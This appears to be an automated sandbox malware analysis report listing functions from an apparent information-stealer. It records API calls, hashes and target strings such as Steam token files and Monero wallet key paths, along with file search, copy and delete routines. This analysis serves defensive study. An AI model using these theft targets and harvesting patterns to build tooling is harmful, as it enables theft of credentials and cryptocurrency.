Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: a9567dedb2743d9cee5eaf88f8df955879d487dcf532dd9158e9144cd77cc988
Instruction ID: cf25f6aa6379b508b7f0a6c1057bf85acd8ea2ddd1a1d084ff0fe8a3d7638639
Opcode Fuzzy Hash: a9567dedb2743d9cee5eaf88f8df955879d487dcf532dd9158e9144cd77cc988
Instruction Fuzzy Hash: F4725175E10219EAEB5BFB50ED90EDE737CAF34200F5042A99196670D4EF302B49CB65

Function 00FF6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac3e66185872591635a5826ca7e44bd42518469eb03331d6837ca506213fbb15
Instruction ID: 24d220fb397091b65970bedcc9cf2c3b8fd3ef681df73a9b59160f95ba19e602
Opcode Fuzzy Hash: ac3e66185872591635a5826ca7e44bd42518469eb03331d6837ca506213fbb15
Instruction Fuzzy Hash: B76116B5D0021CDBCB14DF94E984BEEB7B0BF04304F108598E619A7290EB35AE94EF91

Function 01005100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A820: lstrlen.KERNEL32(00FF4F05,?,?,00FF4F05,01010DDE), ref: 0100A82B
Part of subcall function 0100A820: lstrcpy.KERNEL32(01010DDE,00000000), ref: 0100A885

lstrlen.KERNEL32(00000000,00000000,01010ACA), ref: 0100512A

Strings

steam_tokens.txt, xrefs: 0100513F

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: f647e6a54d05a67f4afd578a197ecd1acc62b90da79d56759503ea06cd154f35
Instruction ID: 0a565db9fd9018a750b0244644973d178b1d0c2dd62fbff640a997d0a347743d
Opcode Fuzzy Hash: f647e6a54d05a67f4afd578a197ecd1acc62b90da79d56759503ea06cd154f35
Instruction Fuzzy Hash: 81F01D71A10209A6EB0AFBB0EC56DFD733CAF64200F404268A5D7674D0EF39670987A1

Function 01007ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(01010E2C), ref: 01007F00
wsprintfA.USER32 ref: 01007F16

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: db80015749a021a84f05883c8ba6e11e05bf8db21e12df6a38dc68160d4534c3
Instruction ID: b5673a270b99d4f350107719e6650933420469c6878e9e70b4b4610695017ce8
Opcode Fuzzy Hash: db80015749a021a84f05883c8ba6e11e05bf8db21e12df6a38dc68160d4534c3
Instruction Fuzzy Hash: 2AF090B2A00618EBDB14DF85EC45FAEF7BCFB48A24F40066DF61593284D77969448BE0

Function 00FFB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

lstrlen.KERNEL32(00000000), ref: 00FFB9C2
lstrlen.KERNEL32(00000000), ref: 00FFB9D6

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: ebfcedfc7f59d5293b820454729e16ade50a78b07ced795d8b6e3822f5fe2ec8
Instruction ID: 1dfe09ae85cc186baef7944ed55d5e7de91ad0c8655d1ef063d0cee88131bc77
Opcode Fuzzy Hash: ebfcedfc7f59d5293b820454729e16ade50a78b07ced795d8b6e3822f5fe2ec8
Instruction Fuzzy Hash: BFE1CF72A10219DBEB16EBA0DD95EEE7338BF74200F404169E587A70D4EF346B49CB61

Function 00FFAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

lstrlen.KERNEL32(00000000), ref: 00FFB16A
lstrlen.KERNEL32(00000000), ref: 00FFB17E

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 12b93fe386f8c5fc2e17b38a076a88ce967184410f7121c7398a06dd06c14797
Instruction ID: 1c9c428f4eb5179556ff940ba7a2d3a47641c849c1d17d4db45820e8eddb5883
Opcode Fuzzy Hash: 12b93fe386f8c5fc2e17b38a076a88ce967184410f7121c7398a06dd06c14797
Instruction Fuzzy Hash: 0391D272A10219DBEF15EBA0DD94EEE7338BF64200F504169E587A70D4EF346B49CBA1

Function 00FFB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

lstrlen.KERNEL32(00000000), ref: 00FFB42E
lstrlen.KERNEL32(00000000), ref: 00FFB442

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 25b1a1f032756e55a53d51db5f767d256c06e584ce10c3e981916475c98003e6
Instruction ID: eae64c25f44902da0d2a64c815a6d77392b1380bc32f238ff3373bbfab0264ff
Opcode Fuzzy Hash: 25b1a1f032756e55a53d51db5f767d256c06e584ce10c3e981916475c98003e6
Instruction Fuzzy Hash: 11711F72A10209DBEB15EBA0DD94EEE7339BF64200F404528E587A70D4EF346B09CBA1

Function 01004BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 01008DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 01008E0B

lstrcat.KERNEL32(?,00000000), ref: 01004BEA
lstrcat.KERNEL32(?,0087ED50), ref: 01004C08

Part of subcall function 01004910: wsprintfA.USER32 ref: 0100492C
Part of subcall function 01004910: FindFirstFileA.KERNEL32(?,?), ref: 01004943

Part of subcall function 01004910: StrCmpCA.SHLWAPI(?,01010FDC), ref: 01004971
Part of subcall function 01004910: StrCmpCA.SHLWAPI(?,01010FE0), ref: 01004987
Part of subcall function 01004910: FindNextFileA.KERNEL32(000000FF,?), ref: 01004B7D
Part of subcall function 01004910: FindClose.KERNEL32(000000FF), ref: 01004B92

Part of subcall function 01004910: wsprintfA.USER32 ref: 010049B0
Part of subcall function 01004910: StrCmpCA.SHLWAPI(?,010108D2), ref: 010049C5
Part of subcall function 01004910: wsprintfA.USER32 ref: 010049E2
Part of subcall function 01004910: PathMatchSpecA.SHLWAPI(?,?), ref: 01004A1E
Part of subcall function 01004910: lstrcat.KERNEL32(?,0087FE98), ref: 01004A4A
Part of subcall function 01004910: lstrcat.KERNEL32(?,01010FF8), ref: 01004A5C
Part of subcall function 01004910: lstrcat.KERNEL32(?,?), ref: 01004A70
Part of subcall function 01004910: lstrcat.KERNEL32(?,01010FFC), ref: 01004A82
Part of subcall function 01004910: lstrcat.KERNEL32(?,?), ref: 01004A96
Part of subcall function 01004910: CopyFileA.KERNEL32(?,?,00000001), ref: 01004AAC
Part of subcall function 01004910: DeleteFileA.KERNEL32(?), ref: 01004B31

Part of subcall function 01004910: wsprintfA.USER32 ref: 01004A07

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
